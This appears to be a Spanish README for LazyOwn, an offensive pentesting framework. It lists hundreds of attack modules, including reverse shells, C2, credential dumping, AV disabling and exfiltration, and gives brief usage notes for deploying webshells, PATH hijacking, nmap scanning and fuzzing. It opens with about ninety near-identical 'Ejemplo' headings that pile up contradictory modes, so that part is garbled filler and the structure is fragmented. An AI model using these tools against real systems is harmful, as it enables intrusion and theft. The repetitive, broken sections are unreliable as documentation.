Ejemplo 12: Escaneo con salida en formato JUnit

Ejemplo 13: Escaneo con salida en formato HTML y guardado en archivo

Ejemplo 14: Escaneo con salida en formato JSON y guardado en archivo

Ejemplo 15: Escaneo con salida en formato CSV y guardado en archivo

Ejemplo 16: Escaneo con salida en formato Markdown y guardado en archivo

Ejemplo 17: Escaneo con salida en formato XML y guardado en archivo

Ejemplo 18: Escaneo con salida en formato YAML y guardado en archivo

Ejemplo 19: Escaneo con salida en formato SARIF y guardado en archivo

Ejemplo 20: Escaneo con salida en formato JUnit y guardado en archivo

Ejemplo 21: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado

Ejemplo 22: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado

Ejemplo 23: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado

Ejemplo 24: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado

Ejemplo 25: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado

Ejemplo 26: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado

Ejemplo 27: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado

Ejemplo 28: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado

Ejemplo 29: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 30: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 31: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 32: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 33: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 34: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 35: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 36: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada

Ejemplo 37: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 38: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 39: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 40: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 41: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 42: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 43: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 44: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado

Ejemplo 45: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 46: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 47: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 48: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 49: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 50: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 51: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 52: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso

Ejemplo 53: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 54: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 55: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 56: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 57: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 58: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 59: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 60: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración

Ejemplo 61: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 62: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 63: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 64: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 65: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 66: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 67: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 68: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba

Ejemplo 69: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 70: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 71: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 72: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 73: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 74: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 75: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 76: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación

Ejemplo 77: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 78: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 79: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 80: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 81: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 82: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 83: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 84: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura

Ejemplo 85: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 86: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 87: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 88: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 89: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 90: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 91: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 92: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura

Ejemplo 93: Escaneo con salida en formato HTML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 94: Escaneo con salida en formato JSON y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 95: Escaneo con salida en formato CSV y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 96: Escaneo con salida en formato Markdown y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 97: Escaneo con salida en formato XML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 98: Escaneo con salida en formato YAML y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 99: Escaneo con salida en formato SARIF y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Ejemplo 100: Escaneo con salida en formato JUnit y guardado en archivo con nombre personalizado y ruta personalizada y modo detallado y modo silencioso y modo de depuración y modo de prueba y modo de simulación y modo de solo lectura y modo de solo escritura y modo de solo ejecución

Use assign to configure parameters. Use show to display the current parameter values. Use run <script_name> to execute a script with the set parameters. Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules. assign : Sets the value of a parameter. For example, assign rhost 192.168.1.1. show: Displays the current values of all parameters. run

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $ help

1. Reconnaissance ────────────────── alterx finalrecon ping trace
   apache_users getcap ports trufflehog
   binarycheck gospider proxy tshark_analyze
   cve graudit recon waybackmachine
   dig httprobe serveralive2 whatweb
   dnschef ipinfo sherlock windapsearchscrapeusers dnsenum launchpad sslscan
   dnsmap metabigor tcpdump_capture dnstool_py openssl_sclient tcpdump_icmp

2. Scanning & Enumeration ────────────────────────── ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan allin evil_ssdp net_rpc_addmem rpcmap_py
   amass feroxbuster netexec samrdump
   arjun finger_user_enum netview sawks
   arpscan fuzz nikto sessionssh
   batchnmap getnpusers nmapscript skipfish
   bbot gobuster nuclei smbattack
   blazy hound odat smbclient
   bloodhound kerbrute openredirex smbclient_impacket breacher lazynmap osmedeus smbclient_py
   certipy ldapdomaindump parsero smbmap
   certipy_ad ldapsearch parth smtpuserenum
   changeme lookupsid portdiscover snmpcheck
   cme lookupsid_py portservicediscover snmpwalk
   davtest loxs pre2k swaks
   dirsearch lynis pykerbrute vscan
   dmitry magicrecon rdp_check_py wfuzz
   enum4linux mqtt_check_py rpcclient windapsearch

3. Exploitation ──────────────── aclpwn_py gettgtpkinit_py psexec sqlmap
   addspn_py greatSCT psexec_py sqsh
   autoblody img2cookie py3ttyup ss
   cacti_exploit jwt_tool pyautomate sshexploit
   commix krbrelayx_py pyoracle2 template_helper_serializer cp kusa pywhisker ticketer
   createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
   createdll lfi rev upload_bypass
   digdug lol seo utf
   download_exploit ms08_067_netapi sharpshooter winbase64payload
   downloader ntpdate shellfire wrapper
   eternal owneredit shellshock www
   excelntdonut padbuster sireprat xss
   filtering powerserver sqli xsstrike
   gets4uticket_py printerbug_py sqli_mssql_test

4. Post-Exploitation ───────────────────── add2find exe2bin pezorsh
   adversary exe2donutbin pip_proxy
   adversary_yaml extract_yaml pip_repo
   aes_pe find powershell_cmd_stager ai_playbook follina rmfromfind
   apt_proxy hex2shellcode rubeus
   apt_repo internet_proxy scavenger
   atomic_lazyown issue_command_to_c2 scp
   bin2shellcode lazywebshell service_ssh
   convert_remcomsvc_from_file mimikatzpy sessionsshstrace
   cports msfshellcoder shellcode
   create_synthetic ofuscate_string shellcode2elf
   createpayload ofuscatesh shellcode2sylk
   d3monizedshell ofuscatorps1 shellcode_search
   disableav path2hex ssh_cmd

5. Persistence ─────────────── asprevbase64 ftp msfpc setoolKits backdoor_factory generate_revshell paranoid_meterpreter ssh
   conptyshell grisun0 pwncat toctoc
   createrevshell grisun0w pwncatcs veil
   createwebshell ivy rdp weevely
   createwinrevshell knokknok revwin weevelygen darkarmour listener_go scarecrow
   dr0p1t listener_py service

6. Privilege Escalation ──────────────────────── responder smbserver

7. Credential Access ───────────────────── addusers cred john2hash rocky
   adsso_spray creds_py john2keepas searchhash
   cewl crunch john2zip smalldic
   crack_cisco_7_password cubespraying keepass spraykatz
   createcredentials dacledit medusa sshkey
   createhash generatedic passtightvnc sudo
   createmail hashcat passwordspray transform
   createusers_and_hashs hydra refill_password username_anarchy

8. Lateral Movement ──────────────────── addcli id_rsa penelope sshd wifipass
   bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
   chisel ligolo rnc targetedKerberoas wmiexecpro dcomexec mssqlcli set_proxychains tord
   getTGT nc shadowsocks upload_c2
   gospherus ngrok socat vpn

9. Data Exfiltration ───────────────────── adgetpass dploot evilwinrm getuserspns reg_py secretsdump
   decrypt encrypt getadusers gitdumper rsync unzip
   download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile

10. Command & Control ───────────────────── atomic_agent automsf emp3r0r mitre_test sliver_server atomic_gen c2 empire msf
    atomic_tests caldera generate_playbook msfrpc
    attack_plan duckyspark iis_webdav_upload_asp my_playbook

11. Reporting ───────────── apropos createtargets gpt process_scans banners download_malwarebazar groq pth_net
    c2asm extract_ports img2vid pup
    camphish eyewitness malwarebazar vulns
    create_session_json eyewitness_py morse
    createjsonmachine get_avaible_actions name_the_hash createjsonmachine_batch gowitness nmapscripthelp

12. Miscellaneous ───────────────── acknowledgearp clone_site getseclist links run
    acknowledgeicmp cron graph list sh
    addhosts decode h load_session show
    aliass download_resources hex_to_plaintext nano sys
    assign encode ignorearp news tab
    banner encoderpayload ignoreicmp payload urldecode base64decode encodewinbase64 ip pwd urlencode base64encode exit ip2asn qa v
    check_update fixel ip2hex rhost
    clean fixperm kick rot
    clock gencert lazyscript rotf

13. Lua Plugin ────────────── generate_c_reverse_shell lolbas_certutil_download_exec generate_cleanup_commands lolbas_certutil_exe
    generate_html_payload lolbas_mshta_js
    generate_lateral_command lolbas_mshta_reverse_shell
    generate_linux_asm_reverse_shell lolbas_rundll32_dll
    generate_linux_raw_shellcode lolbas_wmic_xsl_execution
    generate_lolbird parse_nmap_with_xmlstarlet
    generate_msfvenom_loader run_nuclei_on_nmap_files
    generate_msfvenom_loader_windows run_python_rev_c2
    generate_reverse_shell rundll32_sct_from_url
    generate_stub validate_shellcode
    kerberos_harvest visualize_network
    lolbas_bitsadmin_exe

14. Yaml Addon. ─────────────── AdaptixC2 GoPEInjection OverRide agentzero gosearch peeko argfuscator gui pretender ATTPwn gui2 PTMultiTools AuroraPatch hack_browser_data PTMultiTools_scan banner_tool hellbird PyinMemoryPE bbr hive pyrit beacon hooka_linux_amd64 raven blacksandbeacon hostdiscover ridenum blacksandbeacon_bof kivi_revshell setoolkit cgoblin_windows laps ShadowLink Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored commix2 lazyagentAi SigPloit copy-fail-CVE-2026-31431 lazybinenc spoonmap CVE-2022-22077 lazyftpsniff stratus_detonate CVE_2025_24071_PoC LazyLoader stratus_list demiguise lazymapd toposwarm ebird3 lazyownbt unicorn evilginx2 LazyOwnExplorer upxdump gcr llm vulnbot gemini-cli NullGate vulnbot_groq gen_dll_rev oniux vulnhuntr Get_ReverseShell opencode_adapter watchguard githubot orpheus wspcoerce gomulti_loader_linux gomulti_loader_windows

15. Adversary YAML. ─────────────────── amsi_c implant_nim_nim infect_c pid_c
    implant_crypt_go implant_rust_rs persist_ps1 shell_c

16. Artificial Intelligence ─────────────────────────── ai_toggle

Uncategorized Commands ────────────────────── addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool ffuf_enumeration history notify run_pyscript ffuf_tool ipp nuclei_ad_http run_script

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $

Para buscar dentro de la base de datos extraída de GTFOBins.```sh python3 lazysearch.py binario_a_buscar

```sh python3 lazyown.py

Usar el modo LazyOwn WebShells

LazyOwn Webshell Collection es una colección de webshells para nuestro framework, que nos permite establecer una webshell en la máquina donde ejecutamos LazyOwn utilizando varios lenguajes de programación. Esencialmente, LazyOwn Webshell levanta un servidor web dentro del directorio de módulos, haciéndolo accesible a través de un navegador web. Esto nos permite tanto poner los módulos a disposición por separado a través de la web como acceder al directorio cgi-bin, donde hay cuatro shells: una en Bash, otra en Perl, otra en Python y una en ASP, en caso de que el objetivo sea una máquina Windows.```sh lazywebshell

Sistema de Comando y Control

El sistema de Comando y Control (C2) permite operaciones remotas a través de una arquitectura cliente-servidor con comunicaciones cifradas.

Uso de Lazy PATH Hijacking

Se creará un archivo en /tmp con el nombre binary_name establecido en el payload, inicializado con gzip en memoria, y usando bash en el payload. Para establecer el payload desde el JSON, use el comando payload para ejecutar. Use:```sh lazypathhijacking

Modo de uso Lazy Meta Extract0r

LazyMeta Extract0r es una herramienta diseñada para extraer metadatos de varios tipos de archivos, incluidos PDF, DOCX, archivos OLE (como DOC y XLS) y varios formatos de imagen (JPG, JPEG, TIFF). Esta herramienta recorrerá un directorio especificado, buscará archivos con extensiones compatibles, extraerá los metadatos y los guardará en un archivo de salida.

[*] Iniciando: LazyMeta extract0r [;,;]

usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path```sh python3 lazyown_metaextract0r.py --path /home/user

Uso modo LazyNmap

El uso de Lazynmap nos proporciona un script automatizado para un objetivo, en este caso, 127.0.0.1, utilizando Nmap. El script requiere permisos administrativos mediante sudo. También incluye un módulo de descubrimiento de red para identificar qué hay presente en el segmento IP en el que te encuentras. Además, ahora se puede llamar al script sin parámetros usando el alias nmap o con el comando run lazynmap.

```sh ./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap

Uso de lazyown_bprfuzzer.py

Proporcione los argumentos según lo especificado por las solicitudes del script: El script requerirá los siguientes argumentos:

usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: La URL a la que se enviará la solicitud (obligatorio). --method: El método HTTP a utilizar, como GET o POST (opcional, predeterminado: GET). --headers: Los encabezados de la solicitud en formato JSON (opcional, predeterminado: {}). --params: Los parámetros de la URL en formato JSON (opcional, predeterminado: {}). --data: Los datos del formulario en formato JSON (opcional, predeterminado: {}). --json_data: Los datos JSON para la solicitud en formato JSON (opcional, predeterminado: {}). --proxy_port: El puerto para el proxy interno (opcional, predeterminado: 8080). -w, --wordlist: La ruta a la wordlist para el modo de fuzzing (opcional). -hc, --hide_code: El código de estado HTTP a ocultar en la salida (opcional). Asegúrese de proporcionar los argumentos requeridos para garantizar que el script se ejecute correctamente.```sh python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'

| --no-color | Desactiva la salida en color | | --debug | Habilita el registro de depuración | | --verbose | Habilita el registro detallado |